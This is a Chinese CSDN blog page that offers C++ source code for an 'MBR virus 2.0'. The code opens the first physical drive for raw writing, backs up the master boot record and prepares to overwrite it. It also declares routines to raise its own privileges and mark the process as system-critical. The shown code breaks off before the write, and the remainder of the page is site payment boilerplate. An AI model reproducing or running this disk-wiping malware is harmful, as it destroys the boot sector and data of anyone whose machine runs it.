C++改MBR病毒2.0(经过编译)

这是一个C++编写的程序,已通过编译测试,能够直接生成可执行文件。该程序具有覆盖磁盘扇区的功能,操作需谨慎。请注意,使用此类程序可能对数据安全造成影响。
摘要由CSDN通过智能技术生成
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <ctime> 

#define size 512 // 一个扇区512字节
bool EnableDebugPrivilege();

typedef NTSTATUS(__cdecl *fnRtlSetProcessIsCritical)(IN  BOOLEAN  NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN  BOOLEAN  CheckFlag);
fnRtlSetProcessIsCritical pRtlSetProcessIsCritical;

using namespace std;
int main(void)
{
    int a,r;
    float key;
	/* 文件流 */
	FILE *DiskFile;
	FILE *File;
	/* MBR */
	unsigned char *DiskCode;// 要写入的MBR
	unsigned char MBRCODE[size]={0};// 备份MBR
	/* 准备写入的MBR */
	DiskCode=(unsigned char*)"        紫玫冰心     ";
	/* 获取文件流 */
	DiskFile=fopen("\\\\.\\PhysicalDrive0","rb+");
	if(!DiskFile)
		puts("Can't open file!");
	else if(!feof(DiskFile))
	{
		/* 移动到MBR的位置 */
		fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
		fread(MBRCODE,1,size,DiskFile);// 备份MBR
		/* 移动到MBR的位置 */
		fseek(DiskFile,0,SEEK_SET);//
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值